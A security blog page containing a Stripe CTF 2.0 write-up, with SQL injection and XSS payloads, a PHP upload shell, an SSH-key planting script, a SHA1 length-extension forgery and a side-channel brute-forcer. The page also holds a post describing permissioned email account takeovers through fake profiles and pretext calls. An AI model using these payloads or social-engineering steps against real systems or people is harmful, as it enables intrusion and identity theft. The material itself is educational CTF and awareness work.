Wednesday, August 29, 2012

Stripe CTF 2.0 Write-Up

Hello, World!

I had the opportunity to play and complete the 2012 Stripe CTF 2.0 this weekend. I would have to say this was one of the most enjoyable CTF's I've played by far.  They did an excellent job. I wanted to share with you a detailed write-up of the levels, why they're vulnerable, and how to exploit them. It's interesting to see how multiple people take different routes on problems, so I've included some of the solutions by Michael Milvich (IOActive), Ryan O'Horo(IOActive), Ryan Linn(Spiderlabs), as well as my own (Joseph Tartaro, IOActive).

I hope this write-up gives you guys the opportunity to learn something new or get a better understanding of how I  approached this CTF. I’ve included all the main source code that was available at the information page of each level, even if it was unnecessary, just so people could see it all if they were interested. If you have any further questions you should feel free to e-mail me at Joseph.Tartaro[at]ioactive[dot]com, or make a comment below. 

Lets get started!

Level 0  -  SQL Injection
Level 1  -  Misuse of PHP Function on Untrusted Data
Level 2  -  File Upload Vulnerability
Level 3  -  SQL Injection
Level 4  -  XSS/XSRF
Level 5  -  Insecure Communication
Level 6  -  XSS/XSRF
Level 7  -  SHA1 Length-Extension Vulnerability
Level 8  -  Side Channel Attack

Level 0:

Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we've prepared a list of helpful resources for you. You can chat with fellow solvers in theCTF chatroom (also accessible in your favorite IRC client atirc://
We'll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes...
You can access the Secret Safe at The Safe's code is included below, and can also be obtained via git clone

So quickly looking at the code, the main areas we're interested in are right here ….


sqlite3 = require('sqlite3'); // SQLite (database) driver


  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

             renderPage(res, {namespace: namespace, secrets: secrets});


We can see that it's querying the SQL database with our user-supplied input. We also know that it is an sqlite3 database. When looking at the SQL statement, we can see that it's using the LIKE operator, which happens to have a wildcard character (%). When we supply the wildcard character, it will respond with all the secrets in the database.


Level 1:

Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you'll be given the password to access Level 2! We've been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn't be able to extract the password anyway), so you'll probably just have to try all the possible combinations. Or will you...?
You can play the Guessing Game at The code for the Game can be obtained fromgit clone, and is also included below.

So quickly looking at the code, here's the block we're interested in....

      $filename = 'secret-combination.txt';
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "<p>How did you know the secret combination was" .
               " $combination!?</p>";
          $next = file_get_contents('level02-password.txt');
          echo "<p>You've earned the password to the access Level 2:" .
               " $next</p>";
        } else {
          echo "<p>Incorrect! The secret combination is not $attempt</p>";

So let's step through the code and see what's happening:

  • creates $filename storing 'secret-combination.txt'
  • extract $_GET (all GET parameters supplied by the user)
  • if $attempt is set:
    • declare $combination with the trim()'d contents of $filename
    • if $attempt and $combination are equal
      • print contents of 'level02-password.txt'
    • else
      • print incorrect
So let's look at what extract() is actually doing...

int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )

Import variables from an array into the current symbol table.

Checks each key to see whether it has a valid variable name. It also checks for collisions with existing variables in the symbol table.

If  extract_type  is not specified, it is assumed to be  EXTR_OVERWRITE.

Well, look at that, they didn't specify an extract_type, so by default it is EXTR_OVERWRITE, which is,  "If there is a collision, overwrite the existing variable."

There was even a nice little warning for us,  
Do not use extract() on untrusted data, like user input (i.e. $_GET$_FILES, etc.).

So now looking back at the code, we can see that they declare $filename before they use extract(), so this gives us the opportunity to create a collision and overwrite the existing variable with our GET parameters.

In simple terms, it will create variables depending on what you supply in your GET request. In this case we can see that our request /?attempt=SECRET creates a variable $attempt that stores the value "SECRET", so we could also send ”/?attempt=SECRET&filename=random_file.txt”. The extract() will now overwrite their original $filename with our supplied value, ”random_file.txt”.

So what can we do to make these match? You see how $combination is storing the result of file_get_contents() for the $filename, then using trim() on it. If file_get_contents() returns false due to a file not existing, trim() will then return an empty string. So if we supply a file that does not exist and an empty $attempt, they will match...

So let’s supply:



Level 2:

You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at You may even be able to find the password for Level 3 by doing so.
The code for the Social Network can be obtained from git clone, and is also included below.

So, this one is pretty simple. The areas we're interested in are:


$dest_dir = "uploads/";


<form action="" method="post" enctype="multipart/form-data">
   <input type="file" name="dispic" size="40" />
   <input type="submit" value="Upload!">

   Password for Level 3 (accessible only to members of the club):
   <a href="password.txt">password.txt</a>


Looking at this, we have an 'uploads' directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let's try uploading a file, but not an image--a php script.

$output = shell_exec('cat ../password.txt');
echo "<pre>$output</pre>";

Then just browse to the /uploads/ dir and click on your uploaded php file.


Level 3:

After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of likeUnbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.
A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at As usual, you can fetch the code for the level (and some sample data) via git clone, or you can read the code below.

Ok, so let’s look at some important parts. We know it's sqlite3 again and how it is setup:

# CREATE TABLE users (
#   username VARCHAR(255),
#   password_hash VARCHAR(255),
#   salt VARCHAR(255)
# );


    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

So we can see that the statement is using our supplied username, which has an SQL injection of course. They're selecting the id, password_hash, and salt from users where the username equals our input. Let’s load up our own sample database, make some test queries and, see what happens....

sqlite> insert into users values ("myid", "myusername", "0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60", "SUPER_SECRET_SALT");

sqlite> select id, password_hash, salt FROM users where username = 'myusername'; 


 So, let’s do a union select after and supply exactly what we would like back.

sqlite> select id, password_hash, salt FROM users where username = 'myusername' union select 'new id', 'new hash', 'new salt'; 

new id|new hash|new salt

As you can see, by using a union select we can define in the content of the response. The 'new id', 'new hash', and 'new salt' was in our response. After looking at the code when it does the compare, we can see that it does a sha256(password + salt) and compares it to what was in the response for the sql statement.

Let's supply our own hash and compare them to each other!

>>> import hashlib
>>> print hashlib.sha256("lolpassword" + "lolsalt").hexdigest()

We just created our new sha256 hash with the salt 'lolsalt'; let's now submit our new hash injection into the SQL statement.

username: z'%20union%20select%20'1','dbb4061dc0dd72027d1c3a13b24f17b01fb163037211192c841a778fa2bba7d5','lolsalt


The code will now take the password you submitted, hash it with the salt returned from the sql query, then compare it to the hash that was in the response (the salt and hashes that are in the response were the ones we supplied in our injection). This will lead to them matching and you receiving a message similar to this:

Welcome back! Your secret is: "The password to access level04 is: aZnRbEpSfX" (Log out)


Level 4:

The Karma Trader is the world's best way to reward people for good deeds: You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you're transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.
The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain's account will give you access to Level 5.
You can obtain the full, runnable source for the Karma Trader fromgit clone We've included the most important files below.

This is a nice little XSS/XSRF challenge. The goal here is to get that karma_fountain to send you some karma, which in turn will let you view their password.

 When registering a new account, you can insert malicious code into the password field, which will then be displayed once you send someone karma because the application is designed to show users your password once they receive karma.

In this situation they're including JQuery, so it makes our lives even easier when trying to make requests. The idea is to inject some malicious code into the karma_fountains page that will automatically make them transfer you some karma.

I went and created a new user named 'whoop' with the password:

'<script>$.post("transfer", { to: "whoop", amount: "2" } );</script>'

So, now that you can login, send some karma to the karma_fountain and wait... eventually the karma_fountain user will view their page and your injected code will force them to transfer karma to the user 'whoop'.

Refresh your page until you can view karma fountain’s password on the right.


Level 5:

Many attempts have been made at creating a federated identity system for the web (see OpenID, for example). However, none of them have been successful. Until today.
The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either "AUTHENTICATED" or "DENIED". If "AUTHENTICATED", the site considers you signed in as a user for the pingback domain.
You can check out the Stripe CTF DomainAuthenticator instance here: We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine...
To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other servers. Though, you've heard that someone forgot to internally firewall off the high ports from the Level 2 server.
Interesting in setting up your own DomainAuthenticator? You can grab the source from git clone, or by reading on below.

So, this problem is just... insecure communication in general. There are a couple of issues here.

This  code block checks to see if it was a POST but doesn't check if parameters supplied were on the GET or POST lines:

    post '/*' do
      pingback = params[:pingback]
      username = params[:username]
      password = params[:password]

This is an insecure way of checking if we're Authenticated...

    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/

There are multiple ways of clearing this level...but Ryan O'Horo showed me his route, which was the cleanest one out of the four we tried. The whole idea is to get it to match the Authenticated regex, but on a host of level5-*

So...the easiest route....

The pingback URL contains a newline (%0A) so that the regular expression's end-of-line marker matches after the word "AUTHENTICATED", and it must be double-encoded as it's nested in the original pingback parameter

This will make the application do a pingback on level05 host, but since we included http:// instead of https:// it gave a 302 redirect with the URL . Which the application matched to the response containing the regex and authenticated the user.

I'm not going to bother showing the other routes some of us took... simply because I'm embarrassed that we made it so much harder on ourselves instead compared to the 1 request solution used by Ryan.


Level 6:

After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here:

The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.

As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.

Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone We've also included the most important files below.

Ok, so in this level we're dealing with a unique social network. We have to find a way to view the other user’s user_info page to see their password. If you started posting some of your own posts you would find that it is susceptible to Cross-Site Scripting. So we need to find a way to get the user to view their user_info page, and then post the results so that we can view them.

We are limited to not using the single-quote and double-quote characters ( and ), but everything else is pretty much legal, so we can take use of JavaScript’s String.fromCharCode() and once again JQuery! We'll have to break out of their script tags, then inject our code, but we also need to make sure the code doesn't launch until the entire page has been loaded. They have a csrf token, but it's poorly implemented, seeing that we can use the current JavaScript code that's already on the page. Another issue that you will run into is that the results from the user_info page have characters that are not allowed, so we will escape() the data response before posting it. Here's the payload that I used before String.fromCharCode:

</script><script>$(document).ready(function() {$.get('user_info', function(data) {document.forms[0].body.value = escape(data); document.forms[0].submit();})});</script><script>//

And here it is after....

</script><script>$(document).ready(function() {eval(String.fromCharCode(36,46,103,101,116,40,39,117,115,101,114,95,105,110,102,111,39,44,32,102,117,110,99,116,105,111,110,40,100,97,116,97,41,32,123,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,98,111,100,121,46,118,97,108,117,101,32,61,32,101,115,99,97,112,101,40,100,97,116,97,41,59,32,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,115,117,98,109,105,116,40,41,59,125,41))});</script><script>//

We can now wait and watch posts being created--you can simply keep an eye on /ajax/posts so that your XSS won't also hit yourself. You'll soon see a new post by the Level7 user that consists of a huge block of URL-encoded characters. Go ahead and decode them and you'll see something like...


Level 7:

Welcome to the penultimate level, Level 7.

WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.

Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter's first premium subscribers.

Log in to your account at with username ctf and password password. You will find your API credentials after logging in. You can fetch the code for the level via
git clone, or you can read it below. You may find the sample API client in particularly helpful.

This level was a slight twist, you'll actually be doing an attack on their crypto. Looking at the code you'll see that they're using SHA1 hashes that are composed of the raw request that you made plus your secret. We also need to be making a request as a premium user. If you attempted to order a waffle, you'll receive a confirmation number--in this case if you order the premium waffle, the confirmation number will be your password to Level8.

Here is the block of code that verifies the signature... this is how we know how it is built and that it is sha1

def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True

Researching on SHA1 we can see that it has a length-extension attack vulnerability, a type of attack on certain hashes which allow inclusion of extra information. There's excellent documentation that describes this attack in the Flickr API Signature Forgery Vulnerability write-up. There's also a nice script and write-up about it at vnsecurity by RD, about how he solved a similar CodeGate 2010 challenge. For my solution I used the script that was supplied on vnsecurity to solve this problem. Since we know what the raw request will be, and we know the length of the secret (14), we can append stuff to the raw request and generate a valid hash. So looking at the /logs/ directory, we can also view other users requests… in this case we're interested in premium users, so id 1 or 2.

This is a request that was made by user_id 1:


As you can see, we have the raw request and the final hash... let's append to this and generate a new valid hash, but ordering  a different waffle.

droogie$ python '14' 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' 'a75edb45bc6c0057e059b23bc48b84f7081a798f' '&waffle=liege'

new msg: 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege'
new sig: 4c230b26a20f192c4a258f529662d3dd0ad8b62d

And here we are... the script has supplied the correct amount of padding needed and gave us the raw required and a valid hash... let’s go ahead and make the request using a simple python script....

droogie$ cat 
import urllib
import urllib2

data = 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege|sig:4c230b26a20f192c4a258f529662d3dd0ad8b62d'

req = urllib2.Request(url, data)
response = urllib2.urlopen(req)

droogie$ python 
{"confirm_code": "BdxavaMIKC", "message": "Great news: 10 liege waffles will soon be flying your way!", "success": true}


Level 8:

Welcome to the final level, Level 8.
HINT 1: No, really, we're not looking for a timing attack.
HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?
UPDATE: If you push the reset button for Level 8, you will be moved to a different Level 8 machine, and the value of your Flag will change. If you push the reset button on Level 2, you will be bounced to a new Level 2 machine, but the value of your Flag won't change.
Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You've recently learned that the Flag itself is protected in a PasswordDB instance, accesible at
PasswordDB exposes a simple JSON API. You just POST a payload of the form {"password": "password-to-check", "webhooks": ["", ...]} to PasswordDB, which will respond with a{"success": true}" or {"success": false}" to you and your specified webhook endpoints.
(For example, try running curl -d '{"password": "password-to-check", "webhooks": []}'.)
In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers' respective existences. Instead, the password is "chunked" across multiple processes, called "chunk servers". These may live on the same machine as the HTTP-accepting "primary server", or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).
As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It's almost like someone on the inside is helping you — there's an sshd running on the Level 2 server as well.)
To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.
You can obtain the code for PasswordDB from git clone, or simply read the source below.

This level seems to be a little involved, but it's easy to understand once you see what it is doing. There is a primary server, and when you launch it you supply it a 12 digit password and a socket to listen on. It will break the password up into 4 chunks of 3 characters each and spawn 4 chunk servers. Each chunk server will have a chunk from the primary and all of your requests will be compared to it. The primary server can then receive requests from you with a password. It will chunk up the supplied password and check with the chunk servers; if it receives TRUE on all 4 it will respond with TRUE, but FALSE on any of them and you'll get a FALSE. Your goal is to figure out what is the 12 digit password that was supplied to the primary server on startup. When making a request to the primary server you can also supply it with a webhook, where it will send the response to whichever socket you supplied.

There's a major issue here with their design....

If we bruteforce the 12 digit password, we would be looking at this many attempts:

>>> 10**12

If we bruteforce the chunks, we're looking at a total of this many:

>>> 10**3*4

Or only a maximum of 1000 attempts per chunk. They've just significantly lowered their security if there is any possible way we can tell if a chunk was correct or not, which there is of course ;) 

Since the network is so locked down, we can't actually touch the chunk servers themselves... if we could, we would just bruteforce each chunk and this challenge would be very simple... so we have to find another way to bruteforce each chunk. We also can't try a timing attack because the developers have implemented some delays on responses to avoid this.

Well one thing we can do is get on the local network so that we can get responses from Level8, using Level2 as the description suggested.

Let's go ahead and create a local ssh key we can use, then upload it to the Level2 server using that file upload vulnerability.

$h = fopen("../../.ssh/authorized_keys", "w+");
fwrite($h,"ssh-rsa (MYSECRETLOCALSSHKEY)\n\n");
print "DONE!\n";

Cool, now we can ssh into this box:

Linux 2.6.32-347-ec2 #52-Ubuntu SMP Fri Jul 27 14:38:36 UTC 2012 x86_64 GNU/Linux
Ubuntu 10.04.4 LTS

Welcome to Ubuntu!
 * Documentation:
Last login: Mon Aug 27 03:45:20 2012 from
groups: cannot find name for group ID 4334

At this point we can create sockets and receive responses from the primary server through our webhook parameters. We'll be able to take advantage of this and use it as a side channel attack to validate if our requests were true or false. We'll do this by keeping track of the connections to our socket and their srcport. By default, most operating systems are lazy and will use the last srcport + 1 on a connection... so with an invalid request we know that the difference between source ports would be 2... connection to chunk server 1, then back to us with the response. But if our first chunk happened to be successful it would make a request to chunk server 1, then chunk server 2, then us... so if we are able to make an attempt multiple times and see a difference of 3 in the srcports, we know that it was a valid chunk. We can obviously repeat this process and keep track of the differences to verify the first 3 chunks, then we can just bruteforce the last chunk manually. Here's a python script written by my co-worker Michael which does just that....

#!/usr/bin/env python

import socket
import urllib2
import json
import sys

    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("--port", default=49567, type=int, help="Which port to listen for incoming connections on")
    parser.add_argument("targetURL", help="The URL of the targed primary server")
    parser.add_argument("webhooksHost", help="Where the primary server should connect back for the webhooks")
    args = parser.parse_args()
except ImportError:
    # level02 server doesn't have argparse... grrr
    class args(object):
        port = 49567
        targetURL = sys.argv[1]
        webhooksHost = sys.argv[2]

def password_gen(length, prefix="", charset="1234567890"):
    def gen(length, charset):
        if length == 0:
            yield ""
            for ch in charset:
                for pw in gen(length - 1, charset):
                    yield pw + ch

    for pw in gen(length - len(prefix), charset):
        yield prefix + pw

def do_webhooks_connectback():
    c_sock, addr  = webhook_sock.accept()
    c_sock.send("HTTP/1.0 200\r\n\r\n")
    return addr[1]

def do_auth_request(password):
    print "Trying password:", password
    r = urllib2.urlopen(args.targetURL, json.dumps({"password":password, "webhooks":webhook_hosts}))
    port = do_webhooks_connectback()
    result = json.loads(

    print "Connect back Port:", port

    if result["success"]:
        print "Found the password!!!"
        print result
        return port

def calc_chunk_servers_for_password(password):
    # we need to figure out what the "current" port is, so make a request that will fail
    base_port = do_auth_request("aaa")
    # figure out what the last port number is
    final_port = do_auth_request(password)
    # we should be able to tell how many chunk servers it talked too
    return (final_port - base_port) - 1

# create the listen socket
webhook_sock = socket.socket()
webhook_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
webhook_sock.bind(("", args.port))

webhook_hosts = ["%s:%d" % (args.webhooksHost, args.port)]

# We can guess our password by calculating how many TCP connections the primary server has
# made before connecting to our webhook. The more connections the server has made,
# the more chunks that we have correct.

prefix = ""
curr_chunk = 1

while True:
    for pw in password_gen(12, prefix):
        found_chunk = True
        for i in xrange(10):
            num_servers = calc_chunk_servers_for_password(pw)
            print "Num Servers:", num_servers
            if num_servers == curr_chunk:
                # incorrect password
                found_chunk = False
            elif num_servers > curr_chunk:
                # we may have figured out a chunk... but someone else may have just made a request
                # so we will just try again
            elif num_servers < 0:
                # ran out of ports and we restarted the port range
                # somehow we regressed... abort!
                print "[!!!!] Hmmm... somehow we ended up talking to fewer servers than before..."
        if found_chunk:
            # ok, we are fairly confident that we have found the next password chunk
            prefix = pw[:curr_chunk * 3] # assuming 4 chunk servers, with 3 chars each... TODO: should calc this
            curr_chunk += 1
            print "[!] Found chunk:", prefix



Friday, August 17, 2012

One Mail to Rule Them All

by Lucas Lundgren @acidgen

This small research project was conducted over a four-week period a while back, so current methods may differ as password restoration methods change.

While writing this blog post, the Gizmodo writer Mat Honan's account was hacked with some clever social engineering that ultimately brought numerous small bits and pieces of information together into one big chunk of usable data. The downfall in all this is that different services use different alternative methods to reset passwords: some have you enter the last four digits of your credit card and some would like to know your mother's maiden name; however, the attacks described here differ a bit, but the implications are just as devastating.
For everything we do online today we need an identity, a way to be contacted. You register on some forum because you need an answer, even if it's just once and just to read that answer. Afterwards, you have an account there, forcing you to trust the service provider. You register on Facebook, LinkedIn, and Twitter; some of you use online banking services, dating sites, and online shopping. There's a saying that all roads lead to Rome? Well, the big knot in this thread is—you guessed it—your email address.

Normal working people might have 1-2 email addresses: a work email that belongs to the company and a private one that belongs to the user. Perhaps the private one is one of the popular web-based email services like Gmail or Hotmail. To break it down a bit, all the sensitive info in your email should be stored in a secure vault, home, or in a bank because it's important information that, in an attackers hand, could turn your life into a nightmare.

I live in a EU country where our social security numbers aren't considered information worthy of protecting and can be obtained by anyone. Yes, I know—it's a huge risk. But in some cases you need some form of identification to pick up the sent package. Still, I consider this a huge risk.

Physically, I use paper destroyers when I've filed a paper and then put it in my safe. I destroy the remnants of important stuff I have read. Unfortunately, storing personal data in your email is easy, convenient, and honestly, how often do you DELETE emails anyway? And if you do, are you deleting them from the trash right away? In addition, there's so much disk space that you don't have to care anymore. Lovely.

So, you set your email account at the free hosting service and you have to select a password. Everybody nags nowadays to have a secure and strong password. Let's use 03L1ttl3&bunn13s00!—that's strong, good, and quite easy to remember. Now for the secure question. Where was your mother born? What's your pets name? What's your grandparent's profession? Most people pick one and fill it out.

Well, in my profession security is defined by the weakest link; in this case disregarding human error and focusing on the email alone. This IS the weakest link. How easy can this be? I wanted to dive in to how my friends and family have set theirs up, and how easy it is to find this information, either by goggling it or doing a social engineering attack. This is 2012, people should be smarter...right? So with mutual agreement obtained between myself, friends, and family, this experiment is about to begin.

A lot of my friends and former colleagues have had their identities stolen over the past two years, and there's a huge increase. This has affected some of them to the extent that they can't take out loans without going through a huge hassle. And it's not often a case that gets to court, even with a huge amount of evidence including video recordings of the attackers claiming to be them, picking up packages at the local postal offices.  
Why? There's just too much area to cover, and less man power and competence to handle it. The victims need to file a complaint, and use the case number and a copy of the complaint; and fax this around to all the places where stuff was ordered in their name. That means blacklisting themselves in their system, so if they ever want to shop there again, you can imagine the hassle of un-blacklisting yourself then trying to prove that you are really you this time.

A good friend of mine was hiking in Thailand and someone got access to his email, which included all his sensitive data: travel bookings, bus passes, flights, hotel reservations. The attacker even sent a couple of emails and replies, just to be funny; he then canceled the hotel reservations, car transportations, airplane tickets, and some of the hiking guides. A couple days later he was supposed to go on a small jungle hike—just him, his camera, and a guide—the guide never showed up, nor did his transportation to the next location.  
Thanks a lot. Sure, it could have been worse, but imagine being stranded in a jungle somewhere in Thailand with no Internet. He also had to make a couple of very expensive phone calls, ultimately abort his photography travel vacation, and head on home.

One of my best friends uses Gmail, like many others. While trying a password restore on that one, I found an old Hotmail address, too. Why? When I asked him about it afterwards, he said he had his Hotmail account for about eight years, so it's pretty nested in with everything and his thought was, why remove it? It could be good to go back and find old funny stuff, and things you might forget. He's not keen to security and he doesn't remember that there is a secret question set. So I need that email.
Lets use his Facebook profile as a public attacker would—it came out empty, darn; he must be hiding his email. However, his friends are displayed. Let's make a fake profile based on one of his older friends—the target I chose was a girl he had gone to school with. How do I know that? She was publicly sharing a photo of them in high school. Awesome. Fake profile ready, almost identical to the girl, same photo as hers, et cetera. And Friend Request Sent.
A lot of email vendors and public boards such as Facebook have started to implement phone verification, which is a good thing. Right? So I decided to play a small side experiment with my locked mobile phone.
I choose a dating site that has this feature enabled then set up an account with mobile phone verification and an alternative email. I log out and click Forgot password? I enter my username or email, "IOACasanova2000," click and two options pop up: mobile phone or alternative email. My phone is locked and lying on the table. I choose phone. Send. My phone vibrates and I take a look at the display:  From "Unnamed Datingsite" "ZUGA22". That's all I need to know to reset the password.
Imagine if someone steals or even lends your phone at a party. Or if you're sloppy enough to leave in on a table. I don't need your pin—at least not for that dating site.What can you do to protect yourself from this?   Edit the settings so the preview shows less of the message. My phone shows three lines of every SMS; that's way too much. However, on some brands you can disable SMS notifications from showing up on a locked screen.
From my screen i got a instant; Friend Request Accepted.
I quickly check my friend's profile and see:

I had a dog, and his name was BINGO! Hotmail dot com and password reset.

The anti bot algorithm... done...
And the Secret question is active...
"What's your mother's maiden name"...

I already know that, but since I need to be an attacker, I quickly check his Facebook, which shows his mother's maiden name! I type that into Hotmail and click OK....

New Password: this1sAsecret!123$

I'm half way there....

Another old colleague of mine got his Hotmail hacked and he was using the simple security question "Where was your mother born". It was the same city she lived in today and that HE lived in, Malmö (City in Sweden). The attack couldn't have come more untimely as he was on his way, in an airplane, bound for the Canary Islands with his wife. After a couple of hours at the airport, his flight, and a taxi ride, he gets  a "Sorry, you don't have a reservation here sir." from the clerk. His hotel booking was canceled.

Most major sites are protected with advanced security appliances and several audits are done before a site is approved for deployment, which makes it more difficult for an attacker to find vulnerabilities using direct attacks aimed at the provided service. On the other hand, a lot of companies forget to train their support personnel and that leaves small gaps. As does their way of handling password restoration. All these little breadcrumbs make a bun in the end, especially when combined with information collected from other vendors and their services—primarily because there's no global standard for password retrieval. Nor what should, and should not be disclosed over the phone.

You can't rely on the vendor to protect you—YOU need to take precautions yourself. Like destroying physical papers, emails, and vital information. Print out the information and then destroy the email. Make sure you empty the email's trashcan feature (if your client offers one) before you log out. Then file the printout and put it in your home safety box. Make sure that you minimize your mistakes and the information available about you online. That way, if something should happen with your service provider, at least you know you did all you could. And you have minimized the details an attacker might get.

I think you heard this one before, but it bears repeating: Never use the same password twice!
I entered my friend's email in Gmail's Forgot Password and answered the anti-bot question.
There we go; I quickly check his Hotmail and find the Gmail password restore link. New password, done.

Now for the gold: his Facebook. Using the same method there, I gained access to his Facebook; he had Flickr as well...set to login with Facebook. How convenient. I now own his whole online "life".. There's an account at an online electronics store; nice, and it's been approved for credit.
An attacker could change the delivery address and buy stuff online. My friend would be knee deep in trouble. Theres also a iTunes account tied to his email, which would allow me to remote-erase his phones and pads. Lucky for him, I'm not that type of attacker.

Why would anyone want to have my information? Maybe you're not that important; but consider that maybe I want access to your corporate network. I know you are employed because of that LinkedIn group. Posting stuff in that group with a malicious link from your account is more trustworthy than just a stranger with a URL. Or maybe you're good friends with one of the admins—what if I contact him from your account and mail, and ask him to reset your corporate password to something temporary?
I've tried the method on six of my friends and some of my close relatives (with permission, of course). It worked on five of them. The other one had forgot what she put as the security question, so the question wasn't answered truthfully. That saved her.
When I had a hard time finding information, I'd used voice-changing software on my computer, transforming my voice to that of a girl. Girls are gentle and less likely to try a hoax you; that's how the mind works. Then I'd use Skype to dial them, telling them that I worked for the local church historical department, and the records about their grandfather were a bit hard to read. We are currently adding all this into a computer so people could more easily do ancestor searching and in this case, what I wanted was her grandfather's profession. So I asked a couple of question then inserted the real question in the middle. Like the magician I am. Mundus vult decipi is latin for; The world wan't to be decived.
In this case, it was easy.
She wasn't suspicious at all I thanked her for her trouble and told her I would send two movie tickets as a thank you. And I did.
Another quick fix you can do today while cleaning your email? Use an email forwarder and make sure you can't log into the email provided with the forwarding email. For example, in my domain there's the email "" that is use for registering on forums and other random sites. This email doesn't have a login, which means you can't really log into the email provider with that email. And mail is then forwarded to the real address. An attacker trying to reset that password would not succeed.
Create a new email such as "" and use THIS email for important stuff, such as online shopping, etc. Don't disclose it on any social sites or use it to email anyone; this is just a temporary container for your online shopping and password resets from the shopping sites. Remember what I said before? Print it, delete it. Make sure you add your mobile number as a password retrieval option to minimize the risk.
It's getting easier and easier to use just one source for authentication and that means if any link is weak, you jeopardize all your other accounts aswell. You also might pose a risk to your employer.